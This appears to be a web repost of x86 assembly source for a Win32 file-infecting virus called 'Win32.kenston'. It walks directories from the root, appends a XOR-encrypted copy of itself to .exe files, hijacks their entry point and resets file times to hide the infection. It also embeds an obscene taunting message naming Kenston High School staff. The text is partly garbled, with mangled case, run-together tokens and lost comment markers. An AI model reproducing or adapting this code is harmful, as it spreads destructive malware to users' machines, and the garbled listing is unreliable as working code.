Win32

xiaoxiao2021-03-05  26

Win32.kenston

.386

Locals

Jumps

.Model flat, stdcall

EXTRN EXITPROCESS: PROC

ORG 1000H

.DATA

DB "this is a virus.", 0

.code

Progstart:

PUSH 0

Call EXITPROCESS

Startvirus:

Call relative

RELATIVITY:

POP EBP

CLD

MOV EAX, EBP

DB 2DH; SUB EAX,

SaveEntry Dd (Offset Relative- Offset Progstart)

Push EAX

Sub EBP, Offset Relative

MOV ECX, DWORD PTR [ESP 4]

And ECX, 0FFF00000H

MOV EBX, 0BFF70000H; Base Address of Win95's Kernel

CMP ECX, 0BFF00000H; Are We win95 or 98?

JE Vulnerable

MOV EBX, 077F00000H

CMP ECX, EBX; Are We NT?

JNE EXIT

Vulnerable:

MOV ECX, EBX

Mov Edx, ECX; PUT ImageBase In EDX

MOV DWORD PTR [EBP ImageBase], ECX; Save the ImageBase

XOR EAX, Eax; Clear Eax

MOV AX, Word PTR [EDX 3CH]; Get Relocation In MZ HEADER

Add Ecx, Eax; Make ECX Start of Pe Header

CMP Word PTR [ECX], 'EP'; Is Every Working Right?

JNE EXIT

MOV Eax, DWORD PTR [ECX 120]; Get RVA of Export Table

Add Eax, Adx; Add on The ImageBase

MOV DWORD PTR [EBP Offset ExportTable], EAX; Save The ExportTable's Address

MOV ECX, DWORD PTR [EAX 24]; Get Number of Entry's

Dec Ecx; Drop Number by One SO Bottom Loop Works

MOV DWORD PTR [EBP Offset Numexports], ECX; Store Number of Entrys

MOV ECX, DWORD PTR [EAX 28]; Get RVA of the Address Table

Add ECX, EDX; Bias It by the image base

MOV DWORD PTR [EBP Offset AddresStable], ECX; Save The Address

MOV ECX, DWORD PTR [EAX 36]; Get RVA of the Ordinal Table

Add ECX, EDX; Bias It by the image base

MOV DWORD PTR [EBP Offset OrdinalTable], ECX; Save The Address

Mov ECX, DWORD PTR [EAX 32]; Get RVA of the name Table

Add ECX, EDX; Bias It by the image base

MOV DWORD PTR [EBP Offset NameTable], ECX; Save The Address; Upon Entry:

ECX = Start of RVA String Table

; eDX = imagebase

EBX = start of string of function to resolve

Returns:

EBX = Address of function

LEA EBX, [EBP Offset LoadLibraryas]; Function to Scan for

Push Ecx; Save Start of Rva Name Table

Call ResolveExport; Resolve LoadLibrarya

POP ECX

MOV DWORD PTR [EBP Offset LoadLibrarya], EBX; Save Address of LoadLibrary

LEA EBX, [EBP GETPROCADDRESSS]; Load Address of Function to Resolve

Call resolveexport; resolve getprocaddress

MOV DWORD PTR [EBP Offset getProcaddress], EBX; Save getProcaddress

Lea ESI, [EBP OFFSET APILIST]; WHERE Function STRINGS ARE Started

Lea EDI, [EBP Offset Findfile]; WHERE TO Store Resolved Address's

Call MakeTable

Lea EBX, [EBP OFFSET DIRSAVE]

Push EBX

Push 256

MOV EBX, [EBP Offset getcurrentdir]

Call EBX

CMP EAX, 00H

JE EXIT; if not successful1nu quit

Lea EBX, [EBP Offset root]; Go to the root directory

Push EBX

MOV EBX, DWORD PTR [EBP Offset SetCurrentdir]

Call EBX

CMP EAX, 01; WERE WE SUCESSFULL?

JNE EXIT; if not kil

Call InfectFirstDirectory

Lea EBX, [EBP OFFSET DIRSAVE]; Go to the Original Directory

Push EBX

MOV EBX, DWORD PTR [EBP Offset SetCurrentdir]

Call EBX

EXIT:

POP Eax; return to Host

JMP EAX

InfectFirstDirectory:

Lea EBX, [EBP OFFSET WIN32_FILE_DATA]

Push EBX

Lea EBX, [EBP Offset DirWildCard]

Push EBX

MOV EBX, DWORD PTR [EBP Offset Findfile]

Call EBX

CMP EAX, -1

Je donedirscanning

Mov DWORD PTR [EBP Offset Dirsearchhandle], EAX; Save Our Search Handle

CMP DWORD PTR [EBP Offset Fileattr], 10H

JNE NOTIR1CMP BYTE PTR [EBP OFFSET FULLNAME], '.'

JE InfectNextdiRectory

Call TryinfectingDir; Try Infecting The Possible Directory

NOTIR1:

InfectNextDirectory:

Lea EBX, [EBP OFFSET WIN32_FILE_DATA]; WHERE TO Store FileInfo

Push EBX

Push DWORD PTR [EBP OFFSET DIRSEARCHHANDLE]

MOV EBX, DWORD PTR [EBP Offset Findnext]

Call Ebx; Find Next File

CMP EAX, 01

JNE Donedirscanningnnefound

CMP DWORD PTR [EBP Offset Fileattr], 10H

JNE NOTIR2

CMP BYTE PTR [EBP OFFSET FULLNAME], '.'

JE NOTIR2

Call TryinfectingDir

NOTIR2:

JMP InfectNextDirectory

DONEDIRSCANNING:

Push DWORD PTR [EBP OFFSET DIRSEARCHHANDLE]; Close The Search Handle

MOV EAX, [EBP Offset Findclose]

Call EAX

DonedirscanningnoneFound:

RET

TryinfectingDir:

LEA EBX, [EBP Offset Fullname]; Go to the Dir We Found

Push EBX

MOV EBX, DWORD PTR [EBP Offset SetCurrentdir]

Call EBX

CMP EAX, 01; WAS IT Really A Directory?

JNE NOTIRECTORY; if Not Dont Infect It or Drop Out of IT

Call Findfirstfile

Push DWORD PTR [EBP OFFSET DIRSEARCHHANDLE]

Call InfectFirstDirectory

POP DWORD PTR [EBP Offset DirsearchHandle]

Lea EBX, [EBP Offset Dotdot]; We Are Going to the Previous Dir

Push EBX

MOV EBX, DWORD PTR [EBP Offset SetCurrentdir]

Call EBX

NOTIRECTORY:

RET

Findfirstfile:

Lea EBX, [EBP OFFSET WIN32_FILE_DATA]; WHERE FILE INFO GoES

Push EBX

Lea EBX, [EBP Offset ExewildCard]; What to Search for

Push EBX

MOV EBX, DWORD PTR [EBP OFFSET FINDFILE]; FIND FIRST FILE

Call EBX

CMP EAX, -1; Error?

Je EXITSCANNING

MOV DWORD PTR [EBP Offset SearchHandle], EAX; SAVE SEARCH HANDLE

JMP check_file

FINDNEXTFILE:

Lea EBX, [EBP OFFSET WIN32_FILE_DATA]; WHERE to Store FileInfopush EBX

Push DWORD PTR [EBP OFFSET SearchHandle]; Saved Search Handle

MOV EBX, DWORD PTR [EBP Offset Findnext]

Call Ebx; Find Next File

CMP EAX, 01

JNE Donescanning

Check_file:

PUSH 0

Push 20h

Push 3; Open EXISTING FILE

PUSH 0

PUSH 0

PUSH 80000000H 40000000H; Open forread and Writing

Lea EBX, [EBP OFFSET FULLNAME]

Push EBX

MOV EBX, DWORD PTR [EBP OFFSET CREATEFILE]

Call EBX

CMP EAX, -1; WAS THERE Any Error?

JE FINDNEXTFILE

MOV DWORD PTR [EBP FileHandle], EAX; Save File Handle

XOR EAX, EAX

Lea EDI, [EBP Offset Workbuffer 56]; Go to Memory To Initalize

Stosd

Stosd; this fixes a very lame bug, IT Should Really Zero Out the

WHOLE WORKBUFFER BEFORE EACH FILE

; Is Read But Since ITS A Runtime Virus ITS Written

.

Mov EDX, 63; Read in First 63 Bytes

Lea ECX, [EBP OFFSET WORKBUFFER]; Buffer We Read INTO

Call read_file

CMP DWORD PTR [EBP OFFSET BYTESREAD], 63

JB TryNext; Did We Read in Enough?

Lea EBX, [EBP OFFSET WORKBUFFER]

CMP Word PTR [EBX], 'ZM'; Is IT AN EXE?

JNETNEXT; if IT ISNT Scan Next File

Add Ebx, 3bh; Go to the Infection Marker

CMP BYTE PTR [EBX], 'A'; Are We Infected Already?

JE TryNext; if SO Try Next File

Inc EBX; Point to Relocation

MOV EDX, DWORD PTR [EBX]; Read The Relocation

MOV DWORD PTR [EBP Offset Mzreloc], EDX; Save The Relocation

Call set_point; set file pointer to peeader

CMP EAX, 0FFFFFFFH

JE TryNext

Mov EDX, 120; Try to read in first 120 bytes of pe header

Lea ECX, [EBP OFFSET WORKBUFFER]; Buffer We Read INTO

Call read_file

CMP DWORD PTR [EBP OFFSET BYTESREAD], 120

JNE TRYNEXT; DID WEE READ?

CMP Word PTR [EBP OFFSET WORKBUFFER], 'EP'; Are We in in The Peheader?

JNE TryNext

MOV EBX, DWORD PTR [EBP Offset Headersze]; Get The Headersize

Sub EBX, DWORD PTR [EBP Offset Mzreloc]; Subtract The MZ HEADER

MOV DWORD PTR [EBP Offset Headersize], EBX; Save The PE Header's Size

CMP EBX, 3000; Are We Going to overflow Our memory?

Ja TryNext

Push Ebx; Save Number of Bytes To Read in

MOV EDX, DWORD PTR [EBP Offset Mzreloc]; Reset Pointer Back to the Peheader

Call set_pointer

CMP EAX, 0FFFFFFFH

JE TryNext

Pop Edx; try to read in Headersize Bytes

Lea ECX, [EBP OFFSET WORKBUFFER]; Buffer We Read INTO

Call read_file

MOV EBX, DWORD PTR [EBP Offset Headersize]; How Many Bytes SHOULD HAVE BEEN READ?

CMP EBX, DWORD PTR [EBP OFFSET BYTESREAD]

JNE TRYNEXT; DID WEE READ?

XOR ECX, ECX

MOV CX, Word PTR [EBP OFFSET NUMOBJECTS]; Read in Number of Objects

CMP CX, 00H; Are there Objects?

JE TryNext

XOR EBX, EBX

MOV BX, Word PTR [EBP Offset Ntheadersze]; Read in The Ntheadersize

Add EBX, 24; Add on The REST

Lea EDX, DWORD PTR [EBP OFFSET WORKBUFFER]

Workbuffer NTheadersize 24 = Start of Object Table

Add Edx, Ebx; Locate The Object Table

Push EDX; Save Start of Object Table

XOR EDX, EDX

Mov Eax, Ecx; Handoff # of Objects

MOV ECX, 40; Each Object IS 40 BYTES LONG

Mul Ecx; # Objects * 40

Sub eax, 40; Backtrack to Start of Last Object

POP EDX; Make Edx The Start of the Object Table in Memory

Add Edx, Eax; Point Edx To Last Object

MOV EBX, DWORD PTR [EDX 20]; Load the Physical Offset

Push Ebx; Save for Use with Virtual Size

MOV EAX, DWORD PTR [EDX 16]; Load The Physical SizeAdd EBX, EAX; Add Them Together

MOV EDI, DWORD PTR [EBP OFFSET FileSize]; Wont Workiffi File Is Larger Than 4.3 Gigs ... Oh Well

Add Edi, Offset Endvirus - Offset Startvirus (Offset EncryptionFrame - Offset Encrypt); Put on The Virussize of Our Virus in Memory

Sub EDI, EBX; DETERMINE DISTANCE FROM End of Virus To Old End of Object

Add Eax, EDI; Make Our New Physical Size

MOV EBX, EAX

Sub EBX, (Offset Endvirus-Offset StartVirus) (Offset EncryptionFrame - Offset Encrypt)

MOV ESI, DWORD PTR [EDX 12]; Get RVA for DETERMININING EntryPoinTrva

Add ESI, EBX; Find Out Our EntryPoinTrva

MOV DWORD PTR [EBP Offset Virusrva], ESI; Save The Virus's RVA

Add ESI, DWORD PTR [EBP OFFSET IMGBASE]; make the entrypoint rva the entrypointva

Add ESI, (Offset EncryptionFrame - Offset Encrypt); Make It Point To The Encrypted Virus in Memory

MOV DWORD PTR [EBP Offset Virusva], ESI; Save the Va for Later

MOV ECX, DWORD PTR [EBP Offset FileAlign]; Get Our Alignment Value

Call file_align; Aligns EAX

MOV DWORD PTR [EDX 16], Eax; Save Our New Physical Size

POP EBX; Load The Physical Offset

MOV EAX, DWORD PTR [EDX 8]; Load the Virtual Size

Add EBX, EAX; DETERMINE End of Virtual Space

MOV EDI, DWORD PTR [EBP Offset FileSize]

Add Edi, Offset Buffset - Offset Startvirus (Offset EncryptionFrame - Offset Encrypt); Add The Virus and ITS Heap To IT

Sub EDI, EBX; DETERMINE DITANCE BETWEEN End of Virus's Heap and End of Virtual Space

Add Edi, Eax; Make Our Virtual Size

MOV DWORD PTR [EDX 8], EDI; Save Our New Virtualsize

MOV ECX, DWORD PTR [EDX 12]; Get The Objects RVA

Add ECX, EDI; Make Our New ImageSizeMov DWORD PTR [EBP Offset ImageSize], ECX; Save Our New iMagesize

MOV DWORD PTR [EDX 36], 0E0000040H; FIX THE FLAGS

WE Do All the dispatcher and loading shit here

MOV ECX, DWORD PTR [EBP Offset EntryPoinTrva]

MOV EAX, DWORD PTR [EBP Offset Virusrva]

MOV DWORD PTR [EBP Offset EntryPoinTrva], EAX

Sub Eax, ECX

Add Eax, Offset RELATIVITY - OFFSET EncryptionFrame - Offset Encrypt; Makeup for the Call Instruction

MOV DWORD PTR [EBP Offset SaveEntry], EAX

Mov EDX, 3BH; Offset We Write Marker Byte At

Call set_point; go to place to write marker

MOV EBX, 1H; Write One byte

Lea ECX, DWORD PTR [EBP OFFSET InfectionMarker]; The byte to write

Call Write_File; Write the Infection Marker

MOV EDX, DWORD PTR [EBP Offset Mzreloc]

Call set_point; goto the start of the peheader

Mov EBX, DWORD PTR [EBP Offset BytesRead]; How much to write

Lea ECX, [EBP OFFSET WORKBUFFER]; Write Our Modified PE Header

Call write_file; write it!

Lea ESI, [EBP Offset Startvirus]; COPY The Virus to the Work Buffer to Encrypt

Lea EDI, [EBP OFFSET WORKBUFFER]; WHERE to COPY IT

MOV DWORD PTR [EBP Offset Startencrypt], EDI; We use this best

MOV ECX, (Offset endvirus - offset startvirus); How much to copy

REP MOVSB

Inc Byte PTR [EBP Offset Key]; Change the Key

Call Encrypt; Encryptur Code

MOV EBX, DWORD PTR [EBP VIRUSVA]; Get Our Entrypoint VA

MOV DWORD PTR [EBP Offset Startencrypt], EBX; Store IT IN THE ROUTINE

XOR EDX, EDX

Call set_eof; go to eof

MOV EBX, (Offset EncryptionFrame - Offset Encrypt); Size of Encryption Routine To Write

LEA ECX, [EBP Offset Encrypt]; Write Encryption RoutineCall Write_File

MOV EBX, (Offset endvirus - offset startvirus); size of the virus to write

Lea ECX, [EBP Offset Workbuffer]; WHERE The Encrypted Virus IS in Memory

Call Write_File; Write the Virus

Lea EBX, [EBP Offset Lastwrittime]; Get Ptr To Last WriteTime

Push EBX

SUB EBX, 8; Point It to LastAccesstime

Push EBX

SUB EBX, 8; Point It to createtime

Push EBX

Push DWORD PTR [EBP Offset FileHandle]; Push On The File Handle

MOV EBX, DWORD PTR [EBP Offset SetFileTime]

Call Ebx; Change The File's Times

Call Close_file

Donescanning:

Push DWORD PTR [EBP OFFSET SearchHandle]

MOV EAX, [EBP Offset Findclose]

Call EAX

EXITSCANNING:

RET

TryNext:

Call Close_file

JMP FindNextFile

Read_file:

PUSH 0

Lea EBX, [EBP OFFSET BYTESREAD]; WHERE TO PUT # of Bytes Read

Push EBX

Push Edx; Number of Bytes To Read

PUSH ECX; Address of buffer

Push DWORD PTR [EBP OFFSET FILEHANDLE]

MOV EBX, DWORD PTR [EBP Offset ReadFile]

Call ebx; read the file

RET

WRITE_FILE:

PUSH 0

Lea Eax, [EBP OFFSET BYTESWRITTEN]

Push Eax; Where to return # of bytes Written

Push ebx; # of bytes to write

Push ECX; WHERE to WRITE FROM

Push DWORD PTR [EBP OFFSET FILEHANDLE]

MOV EBX, DWORD PTR [EBP Offset Writefile]

Call EBX

RET

UPON Entry:

; edx = new actual address in file

SET_EOF:

Push 02h

JMP Jumpover

Set_pointer:

Push 00

Jumpover:

PUSH 0

Push Edx; WHERE to Go In File

Push DWORD PTR [EBP OFFSET FILEHANDLE]

MOV EBX, [EBP OFFSET SETFILEPOINTER]

Call EBX

RET

File_Align:

UPON Entry ECX = Alignment Value

EAX = Size to Process

EAX RETURNS Aligned Size

Push Edx

XOR EDX, EDXDIV ECX

INC EAX

Mul ECX

POP EDX

RET

Close_file:

Push DWORD PTR [EBP OFFSET FILEHANDLE]

MOV EAX, DWORD PTR [EBP Offset Closefile]

Call Eax; Close The File

RET

UPON Entry:

ESI = function string table.

EDI = OUR Address Table.

Maketable:

Lea EBX, [EBP Offset LoadLibrarya]

Push ESI; Next in string Table

Call DWORD PTR [EBX]; Call LoadLibrarya

Mov Edx, EAX; Save Module Handle

Loopuntilnull:

Inc ESI

CMP Byte PTR [ESI], 00H

JNE Loopuntilnull; Loop Until At End of String

Inc ESI

CMP BYTE PTR [ESI], 01H; Are We on LOOP?

Je donelooping

Lea EBX, [EBP Offset getProcaddress]

Push Edx

Push ESI; POINTER TO FUNCTION NAME

Push EDX; Base Address of DLL

Call DWORD PTR [EBX]; GetProcaddress in import Table

POP EDX

Stosd

JMP Loopuntilnull

Donelooping:

RET

ResolveExport:

UPON Entry:

ECX = Start of RVA String Table

; eDX = imagebase

EBX = start of string of function to resolve

Returns:

EBX = Address of function

XOR EDI, EDI

ScanString:

Mov ESI, DWORD PTR [ECX]; Load RVA of String to SCAN

Add ESI, EDX; Bias IT by the imagebase

Push Ebx; Bad Way to Save EBX for Later USE

Scanloop:

Lodsb

CMP AL, 00H; Is IT A NULL CHARACTER?

Je FoundString

CMP BYTE PTR [EBX], Al; Does The Character Match?

JNE ScanNext; if not scan next string

Inc Ebx; Advance The Byte We Are

Scanning for.

JMP scanloop

ScanNext:

POP EBX

Add ECX, 4; Move it to the next export?

Inc EDI; Increment THE Counter

CMP DWORD PTR [EBP NUMEXPORTS], EDI; Are We On Last Export?

JE EXIT; ABORT IF OUT OF EXPORTS

JMP ScanString

Foundstring:

POP EBX; Keep The Stack Nice and NEAT

Add Edi, EDI; Multiply By 2 Because Ordinal

Table IS 16 BITS

MOV EBX, DWORD PTR [EBP OrdinalTable] Add Edi, EBX; Point Edi To GetProcaddress's Entry

XOR EBX, EBX

MOV BX, Word PTR [EDI]; Get 16bit Ordinal Number

Lea EBX, [EBX * 4]; Multiply by 4 Because The Address

Table is Made of Double Words.

MOV ESI, DWORD PTR [EBP AddResSTable]

Add ESI, EBX; Point ESI TO RVA in AddresStable

MOV EBX, DWORD PTR [ESI]; Move RVA to EBX

Add Ebx, EDX; Offset It with The ImageBase

RET

ENCRYPT:

MOV ECX, (Offset endvirus - offset startvirus)

DB 0BBH; MOV EBX,

Startencrypt DD 000000000H

DB 0B0H; MOV Al,

Key DB 00H

Xorloop:

XOR BYTE PTR [EBX], Al

Inc EBX

Dec ECX

CMP ECX, 00H

JNE Xorloop

EncryptionFrame:

RET

StartData:

WE Use these to find functions in kernel32.dll's export table

LoadLibraryas DB "LoadLibrarya"

GetProcadDresss DB "getProcaddress"

THESE Are The Functions We need to get the address's of:

APILIST:

DB "kernel32", 0

DB "Findfirstfilea", 0

DB "findnextfilea", 0

DB "FindClose", 0

DB "setfileAttributesa", 0

DB "setfiletime", 0

DB "CreateFilea", 0

DB "readfile", 0

DB "Writefile", 0

DB "setfilepointer", 0

DB "closehandle", 0

DB "setcurrentdirectorya", 0

DB "getcurrentdirectorya", 0,01h; 01h stoods the loosition up

DB "Boles and Manning Are Arrogant Facists."

DB "They Have No Computer Sk1llz And Kenston High School's"

DB "Computers Are 0wn3d. I am Back Koons You MotherFucker"

DB "Down with Kenston ..... You Tried to Rid Yourself of Me Before"

DB "but failed"

DB "Hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha

DirWildCard DB "*.", 0

ExewildCard DB "* .exe", 0

InfectionMarker DB "a" dotdot db "..", 0

Root db "", 0

Endvirus:

; The installed by the image based

ImageBase DD 1 DUP (?)

ExportTable DD 1 DUP (?)

AddresStable DD 1 DUP (?)

Nametable DD 1 DUP (?)

OrdinalTable DD 1 DUP (?)

Numexports DD 1 DUP (?)

GetProcaddressCall DD 1 DUP (?)

; THESE is Used in Infecting Files

BYteswritten DD 1 DUP (?)

SearchHandle DD 1 DUP (?)

DIRSEARCHHANDLE DD 1 DUP (?)

FileHandle DD 1 DUP (?)

BYTESREAD DD 1 DUP (?)

Mzreloc DD 1 DUP (?)

Headersize DD 1 DUP (?)

NTHEADERSIZE DD 1 DUP (?)

Virusrva DD 1 DUP (?)

InfectCounter DD 1 DUP (?)

Virusva DD 1 DUP (?)

Place to Store The Two Routines Used to Look Up The Rest

LoadLibrarya DD 1 DUP (?)

GetProcaddress DD 1 DUP (?)

This Becomes A Table of these Functions Address's

Findfile DD 1 DUP (?)

FINDNEXT DD 1 DUP (?)

FindClose DD 1 DUP (?)

SetAttrib DD 1 DUP (?)

SetFileTime DD 1 DUP (?)

Createfile DD 1 DUP (?)

READFILE DD 1 DUP (?)

Writefile DD 1 DUP (?)

SetFilePointer DD 1 DUP (?)

Closefile DD 1 DUP (?)

SetCurrentDir DD 1 DUP (?)

GetCurrentDir DD 1 DUP (?)

DIRSAVE DB 256 DUP (?)

WIN32_FILE_DATA:

FileAtTR DD 1 DUP (?)

CreateTime DD 2 DUP (?)

Lastaccesstime DD 2 DUP (?)

LastWritetime DD 2 DUP (?)

DD 1 DUP (?)

FILSIZE DD 1 DUP (?)

Resv DD 2 DUP (?)

Fullname DB 256 DUP (?)

RealName DB 256 DUP (?)

Workbuffer:

Signature DD 1 DUP (?)

CPUTYPE DW 1 DUP (?)

NumObjects dw 1 dup (?)

DD 3 DUP (?)

NTHEADERSZE DW 1 DUP (?)

Flags dw 1 dup (?)

DD 4 DUP (?)

EntryPoinTrva DD 1 DUP (?)

DD 2 DUP (?)

IMGBASE DD 1 DUP (?)

ObjectAlign DD 1 dup (?)

FileAlign DD 1 DUP (?)

DD 4 DUP (?)

ImageSize DD 1 DUP (?)

Headersze DD 1 DUP (?)

DB 3000 DUP (?)

Bufferend:

Endsend Startvirus

转载请注明原文地址:https://www.9cbs.com/read-37104.html

New Post(0)